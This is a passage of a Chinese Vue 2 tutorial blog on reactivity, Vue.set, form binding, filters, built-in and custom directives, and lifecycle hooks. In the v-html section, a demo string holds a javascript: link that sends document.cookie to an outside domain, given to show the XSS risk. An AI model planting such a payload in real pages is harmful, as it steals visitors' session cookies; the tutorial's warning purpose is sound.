return p.name.indexOf(this.keyWord) !== -1;
});
//判断一下是否需要排序
if (this.sortType) {
// p1>p2,升序,p1<p2,降序
// 随机排序:Math.Random()-0.5
arr.sort((p1, p2) => {
return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
});
}
return arr;
},
},
});
</script>
更新时的一个问题?探讨
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">更新马冬梅的信息</button>
<ul>
<li v-for="(p,index) of persons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
persons: [
{ id: "001", name: "马冬梅", age: 30, sex: "女" },
{ id: "002", name: "周冬雨", age: 31, sex: "女" },
{ id: "003", name: "周杰伦", age: 18, sex: "男" },
{ id: "004", name: "温兆伦", age: 19, sex: "男" },
],
},
methods: {
updateMei() {
// this.persons[0].name = '马老师'; // 奏效
// this.persons[0].age = 50; // 奏效
// this.persons[0].sex = '男'; // 奏效
// 在控制台输入vm.persons[0],输出信息是更改过后的;但是页面和 vue 控制台 data 中的数据是原来的,不更改,原因是 vue 并没有监测到数据发生改变
// 如果在点击触发后,在打开 vue 控制台,data数据更改,但是页面不更改,如果先打开 vue 控制台,再触发事件,vue 控制台和页面都不更改
// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}; // 不奏效
// 请前往Vue.set 的使用 第四点 查看特殊性
// Vue.set(this.persons, 0, {id:'001',name:'马老师',age:50,sex:'男'}); // 奏效
this.persons.splice(0, 1, { id: "001", name: "马老师", age: 50, sex: "男" });
},
},
});
</script>
至于为什么更改数组内的元素,不会引起页面信息更新,请至Vue 监测数据改变的原理-Object查看图片
Vue 监测数据改变的原理-Array
特殊性:Vue.set 的使用
Object.defineProperty & Object.Proxy 区别
Vue 监测数据改变的原理_Object
<div id="root">
<h2>博客名称:{{name}}</h2>
<h2>博客地址:{{address}}</h2>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
link: {
name: "tom",
age: {
rAge: 40,
sAge: 29,
},
friends: [{ name: "jerry", age: 35 }, 18, "星宿君 の Blog"],
},
},
});
</script>
Vue 数据代理底层能够无限递归,进行数据代理,包括对象,数组中的对象,
但是数组中的值(vm.link.friends[0]、vm.link.friends[1]、vm.link.friends[2])不能够监测到!!!
Vue 监测数据改变的原理-Array
Object.defineProperty & Object.Proxy 区别
模拟 Vue 数据监测
定时器写法
let data = {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
};
// 如果不写temp,会一直打印
let temp = "星宿君 の Blog";
setInterval(() => {
if (data.name !== temp) {
temp = data.name;
console.log("name被修改了");
}
}, 100);
defineProperty 写法
let data = {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
};
// 以下写法会报错,原因是内存溢出,当获取 data.name 属性是会无限递归调用 getter 函数,设置时会无限递归调用 setter 函数,所以 Vue 的 data 会先转化为 _data
Object.defineProperty(data, "name", {
get() {
return data.name;
},
set(v) {
data.name = v;
},
});
Vue defineProperty 写法
以下只能实现一层数据代理,不能够像 Vue 那样递归深层代理
Vue 实现了 vm.属性 => vm._data.属性的代理
Vue 不仅可以在 Object 深层代理,在 Array 也行
let data = {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
};
//创建一个监视的实例对象,用于监视 data 中属性的变化
const obs = new Observer(data);
console.log(obs);
//准备一个 vm 实例对象
let vm = {};
vm._data = data = obs;
function Observer(obj) {
//汇总对象中所有的属性形成一个数组
const keys = Object.keys(obj);
//遍历
keys.forEach((key) => {
// this 指向 Observer 实例
Object.defineProperty(this, key, {
get() {
return obj[key];
},
set(v) {
console.log(`${key}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`);
obj[key] = v;
},
});
});
}
Vue.set 的使用
<div id="root">
<h1>博客信息</h1>
<h2>博客名称:{{blog.name}}</h2>
<h2>博客地址:{{blog.address}}</h2>
<h2>作者是:{{blog.leader}}</h2>
<hr />
<h1>同学信息</h1>
<button @click="addSex">添加一个性别属性,默认值是男</button>
<h2>姓名:{{student.name}}</h2>
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
<h2>朋友们</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
blog: {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
},
student: {
name: "tom",
age: {
rAge: 40,
sAge: 29,
},
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
// Vue.set(this.student,'sex','男')
this.$set(this.student, "sex", "男");
},
},
});
</script>
- Vue 缺陷
- Vue 提供的解决方法(但是有局限)
(1) Vue.set(vm._data.student, "sex", "男") 或者 Vue.set(vm.student, "sex", "男")
(2) vm.$set(vm._data.student, "sex", "男") 或者 vm.$set(vm.student, "sex", "男") - 局限性
Vue.set 只能给 data 中已存在的属性追加属性,如 Vue.set(vm._data, "leader", "me"),会报错误(不允许添加一个响应式数据在 Vue 实例身上)
- 特殊性
Vue.set(vm.friends, 0, { name: "星宿君", age: 18 }),可以更改数据成功
相关信息链接:Vue 监测数据改变的原理-Array
如果 data.student = {},Vue 页面{{student.a}}不显示 undefined,显示空,且不报错,如果输入 student.a.b 就报错,因为 undefined.属性 会报错
Vue 监测数据改变的原理-Array
<div id="root">
<h1>博客信息</h1>
<h2>博客名称:{{blog.name}}</h2>
<h2>博客地址:{{blog.address}}</h2>
<h2>作者是:{{blog.leader}}</h2>
<hr />
<h1>学生信息</h1>
<button @click="addSex">添加一个性别属性,默认值是男</button>
<h2>姓名:{{student.name}}</h2>
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
<h2>爱好</h2>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
</ul>
<h2>朋友们</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
blog: {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
},
student: {
name: "tom",
age: {
rAge: 40,
sAge: 29,
},
// 更改数组内的元素,不会引起页面信息更新,也就是说没有实现数据代理(除 Vue 控制台手动更改和数组方法操作)
// vm.student.hobby[0] = "学习";
hobby: ["抽烟", "喝酒", "烫头"],
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
// Vue.set(this.student,'sex','男')
this.$set(this.student, "sex", "男");
},
},
});
</script>
至于为什么更改数组内的元素,不会引起页面信息更新,请至Vue 监测数据改变的原理-Object查看图片
解决方法,可以用数组方法
push、unshift、splice、reverse、sort、pop、shift
这些方法中,push、unshift、splice
是劫持不到数据的,vue2.0 源码对其进行了重写
以下图片可以证明 vue 对其重构了底层数组方法
Object.defineProperty & Object.Proxy 区别
总结数据监视
<div id="root">
<h1>同学信息</h1>
<button @click="student.age++">年龄+1岁</button> <br />
<button @click="addSex">添加性别属性,默认值:男</button> <br />
<button @click="student.sex = '未知' ">修改性别</button> <br />
<button @click="addFriend">在列表首位添加一个朋友</button> <br />
<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br />
<button @click="addHobby">添加一个爱好</button> <br />
<button @click="updateHobby">修改第一个爱好为:开车</button> <br />
<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
student: {
name: "tom",
age: 18,
hobby: ["抽烟", "喝酒", "烫头"],
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
// 这样写,数据不会进行代理,也就实现不了数据响应式
// this.student.sex = ""男;
// Vue.set(this.student,'sex','男')
this.$set(this.student, "sex", "男");
},
addFriend() {
this.student.friends.unshift({ name: "jack", age: 70 });
},
updateFirstFriendName() {
this.student.friends[0].name = "张三";
},
addHobby() {
this.student.hobby.push("学习");
},
updateHobby() {
// this.student.hobby.splice(0,1,'开车')
// Vue.set(this.student.hobby,0,'开车')
this.$set(this.student.hobby, 0, "开车");
},
removeSmoke() {
this.student.hobby = this.student.hobby.filter((h) => {
return h !== "抽烟";
});
},
},
});
</script>
总结
Vue 监视数据的原理:
- vue 会监视 data 中所有层次的数据。
- 如何监测对象中的数据?
通过 setter 实现监视,且要在 new Vue 时就传入要监测的数据。
(1) 对象中后追加的属性,Vue 默认不做响应式处理
(2) 如需给后添加的属性做响应式,请使用如下 API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value) - 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1) 调用原生对应的方法对数组进行更新。
(2) 重新解析模板,进而更新页面。 - 在 Vue 修改数组中的某个元素一定要用如下方法:
(1) 使用这些 API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
(2) Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm 的根数据对象 添加属性!!!
数据劫持,数据代理
13.收集表单数据
<div id="root">
<!-- 如果点击 button 按钮后,会触发 from 表单默认行为,所以加上 .prevent 可以阻止默认行为 -->
<form @submit.prevent="demo">
<!-- .trim 删除输入框文本信息的前后空字符串 -->
账号:<input type="text" v-model.trim="userInfo.account" /><br /><br />
密码:<input type="password" v-model="userInfo.password" /><br /><br />
<!-- type="number" 可以限制键盘对其输入非数字类型,但是 input 输入框接收的任然是 String -->
<!-- .number 可以将输入框中的 String 转为 Number 类型 -->
年龄:<input type="number" v-model.number="userInfo.age" /><br /><br />
<!-- 切记 v-model 只能获取 value 的值,所以针对 input 没有 value 的要单独设置 value 值 -->
<!-- 针对 radio,如果不写value,Vue 默认值是 null -->
性别: 男<input type="radio" name="sex" v-model="userInfo.sex" value="male" />女<input type="radio" name="sex" v-model="userInfo.sex" value="female" /><br /><br />
<!-- 针对 checkbox,如果不写value,Vue 默认绑定的是 checked -->
爱好: 学习<input type="checkbox" v-model="userInfo.hobby" value="study" /> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game" /> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat" /><br /><br />
所在地区
<select v-model="userInfo.city">
<option value="">请选择所在位置</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="guangzhou">广州</option>
<option value="shenzhen">深圳</option>
</select>
<br /><br />
其他信息:
<!-- .lazy 输入框失去焦点才更新 data 中的数据 -->
<textarea v-model.lazy="userInfo.other"></textarea>
<br /><br />
<!-- 多选框如果是多个,则需要设置对应的 value,且 data 中数据写成数组类型 -->
<!-- 如果是单个,则不需要设置 value,且 data 中的类型为字符串 -->
<input type="checkbox" v-model="userInfo.agree" />阅读并接受<a href="https://blog.huxinfeng.com/privacy-policy">《用户协议》</a> <br /><br />
<button>提交</button>
</form>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
userInfo: {
account: "",
password: "",
age: 18,
sex: "female",
// 切记 hobby 不能写成 happy: "", 原因是 hobby 默认初始值是空,如果勾选其中一个多选框,该值就会变成 true,获取的还是 chenked
hobby: [],
city: "beijing",
other: "",
agree: "",
},
},
methods: {
demo() {
// 如果之前不写 userInfo,也可以通过这种方式发送,不影响,但是不建议这样设置
// JSON.stringify(this.data);
console.log(JSON.stringify(this.userInfo));
},
},
});
</script>
总结
收集表单数据:
- 若:,则 v-model 收集的是 value 值,用户输入的就是 value 值。
- 若:,则 v-model 收集的是 value 值,且要给标签配置 value 值。
- 若:
(1) 没有配置 input 的 value 属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
(2) 配置 input 的 value 属性:
v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
v-model 的初始值是数组,那么收集的的就是 value 组成的数组 - 备注:v-model 的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
14.过滤器
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<!-- | 称为管道符,原理是解析 time,然后将 time 作为参数传给 timeFormater -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器实现(传参) -->
<!-- 多个过滤器,流程 time 传给 timeFormater,结果在传给 mySlice -->
<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">星宿君 の Blog</h3>
<!-- 不支持 input(v-model) 过滤,会报错 -->
<!-- <input type="text" v-model="msg | mySlice" /> -->
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/dayjs@1.10.6/dayjs.min.js"></script>
<script type="text/javascript">
//全局过滤器
Vue.filter("mySlice", function (value) {
return value.slice(0, 4);
});
new Vue({
el: "#root",
data: {
time: 1621561377603, //时间戳
msg: "你好,星宿君",
},
computed: {
fmtTime() {
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
},
},
methods: {
getFmtTime() {
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
},
},
//局部过滤器
filters: {
// value 指 time
timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
// console.log('@',value)
return dayjs(value).format(str);
},
},
});
new Vue({
el: "#root2",
data: {
msg: "hello,星宿君!",
},
});
</script>
总结
过滤器:
- 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
- 语法:
(1) 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
(2) 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名" - 备注:
(1) 过滤器也可以接收额外参数、多个过滤器也可以串联
(2) 并没有改变原本的数据, 是产生新的对应的数据
15.内置指令
v-text 指令
<div id="root">
<div>你好,{{name}}</div>
<!-- 切记,不能在 div 里面写入文本,无效,v-text 默认将 name 值替换掉 div 里面的值 -->
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
name: "星宿君",
// v-text 会将里面的值转成文本结构,所以不会解析标签,类似于 innerText
str: "<h3>你好啊!</h3>",
},
});
</script>
小结
- 我们学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示) - v-text 指令:
(1) 作用:向其所在的节点中渲染文本内容。
(2) 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}}则不会。
v-html 指令
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
name: "星宿君",
// v-html 会解析标签 类似于 innerHTML
str: "<h3>你好啊!</h3>",
// 将跳转之前的 cookie 发送给 http://www.huxinfeng.com
str2: '<a href=javascript:location.href="http://www.huxinfeng.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
},
});
</script>
小结
v-html 指令:
- 作用:向指定节点中渲染包含 html 结构的内容。
- 与插值语法的区别:
(1) v-html 会替换掉节点中所有的内容,{{xx}}则不会。
(2) v-html 可以识别 html 结构。 - 严重注意:v-html 有安全性问题!!!!
(1) 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击。
(2) 一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!
cookie 图示
(3) document.cookie 的安全策略
v-cloak 指令
<style>
[v-cloak] {
display: none;
}
</style>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<!-- 延迟5s后返回vue.js -->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
console.log(1);
new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
},
});
</script>
小结
v-cloak 指令(没有值):
- 本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性。
- 使用 css 配合 v-cloak 可以解决网速慢时页面展示出{{xxx}}的问题。
v-once 指令
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
小结
v-once 指令:
- v-once 所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。
v-pre 指令
<div id="root">
<!-- h2 里面的内容不解析 vue -->
<h2 v-pre>
Vue其实很简单
<p>当前的n值是:{{n}}</p>
</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
小结
v-pre 指令:
- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
16.自定义指令
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n" />
</div>
<script type="text/javascript">
// 定义全局指令
/* Vue.directive('fbind', {
// 指令与元素成功绑定时(一上来)
bind(element, binding){
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element, binding){
element.focus();
},
// 指令所在的模板被重新解析时
update(element, binding){
element.value = binding.value;
}
}) */
// 定义局部指令
new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
n: 1,
},
directives: {
// big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
big(element, binding) {
console.log("big", this); // 注意此处的 this 是 window
element.innerText = binding.value * 10;
},
fbind: {
// 指令与元素成功绑定时(一上来)
bind(element, binding) {
console.log("bind", this); // 注意此处的 this 是 window
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element, binding) {
console.log("inserted", this); // 注意此处的 this 是 window
element.focus();
},
// 指令所在的模板被重新解析时
update(element, binding) {
console.log("update", this); // 注意此处的 this 是 window
element.value = binding.value;
},
},
// 指令如果是 v-bigNumber,vue 解析成 bignumber,所以建议单词之间用 - 连接
"big-number"(element, binding) {
element.innerText = binding.value * 10;
},
},
});
</script>
总结
需求 1:定义一个 v-big 指令,和 v-text 功能类似,但会把绑定的数值放大 10 倍。
需求 2:定义一个 v-fbind 指令,和 v-bind 功能类似,但可以让其所绑定的 input 元素默认获取焦点。
- 自定义指令总结:
一、定义语法:
(1) 局部指令:
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
(2) 全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的 3 个回调:
(1) bind:指令与元素成功绑定时调用。
(2) inserted:指令所在元素被插入页面时调用。
(3) update:指令所在模板结构被重新解析时调用。
三、备注:
(1) 指令定义时不加 v-,但使用时要加 v-;
(2) 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 命名。
17.生命周期
引出生命周期
<div id="root">
<h2 v-if="a">你好啊</h2>
<h2 :style="{opacity}">欢迎学习Vue</h2>
<!-- {{change()}} -->
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
a: false,
opacity: 1,
},
methods: {
// 禁止使用这种方法,opacity 变化一次,执行一次函数,且每隔 16ms 再次调用该函数,启动函数次数为指数增长
/* change() {
setInterval(() => {
console.log("开启定时器");
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 16);
}, */
},
// Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mounted
mounted() {
console.log("mounted", this); // 注意此处的 this 是 Vue 实例
setInterval(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 16);
},
});
// 通过外部的定时器实现(不推荐)
/* setInterval(() => {
vm.opacity -= 0.01;
if (vm.opacity <= 0) vm.opacity = 1;
}, 16); */
</script>
小结
生命周期:
- 又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 是什么:Vue 在关键时刻帮我们调用的一些特殊名称的函数。
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的 this 指向是 vm 或 组件实例对象。
分析生命周期
<!-- vue 模板编译包括 div#root 本身,即 x = "n" 也会被解析 -->
<div id="root" :x="n">
<h2 v-text="n"></h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
/* template: `
<div>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
`, */
data: {
n: 1,
},
methods: {
add() {
console.log("add");
this.n++;
},
bye() {
console.log("bye");
this.$destroy();
},
},
// 在 beforeUpdate 之前调用
watch: {
n() {
console.log("n变了");
},
},
// 不可以访问 data 数据
beforeCreate() {
console.log("beforeCreate", this); // this 是 Vue 实例
// debugger;
},
// 可以访问 data 数据
created() {
console.log("created", this); // this 是 Vue 实例
},
// 指令未编译
beforeMount() {
// 对 DOM 操作结果最终无效
// document.querySelector("h2").innerText = 123;
console.log("beforeMount", this); // this 是 Vue 实例
},
// 指令已编译
mounted() {
// 此时对 DOM 操作结果最终有效
// document.querySelector("h2").innerText = 123;
console.log("mounted", this); // this 是 Vue 实例
},
// 数据是新的,页面是旧的,数据和页面尚未保存同步
beforeUpdate() {
console.log("beforeUpdate", this); // this 是 Vue 实例
},
// 数据和页面保存同步
updated() {
console.log("updated", this); // this 是 Vue 实例
},
// 当 vm.$destroy() 被调用时,执行一下两个函数,并且移除全部指令和自定义事件监听器(@click不移除)
beforeDestroy() {
// 此时 vm 所有事件都处于可用状态
// 控制台打印 add,也执行 this.n++,但是页面不更新
// this.add();
console.log("beforeDestroy", this); // this 是 Vue 实例
},
// vm 销毁
destroyed() {
console.log("destroyed", this); // this 是 Vue 实例
},
});
</script>
小结
生命周期图
Vue - 生命周期详解
总结生命周期
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
opacity: 1,
},
methods: {
stop() {
this.$destroy();
},
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
console.log("mounted", this);
this.timer = setInterval(() => {
console.log("setInterval");
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 16);
},
beforeDestroy() {
clearInterval(this.timer);
console.log("vm即将驾鹤西游了");
},
});
</script>
小结
- 常用的生命周期钩子:
(1) mounted: 发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
(2) beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。 - 关于销毁 Vue 实例
(1) 销毁后借助 Vue 开发者工具看不到任何信息。
(2) 销毁后自定义事件会失效,但原生 DOM 事件依然有效。
(3) 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。
Comments NOTHING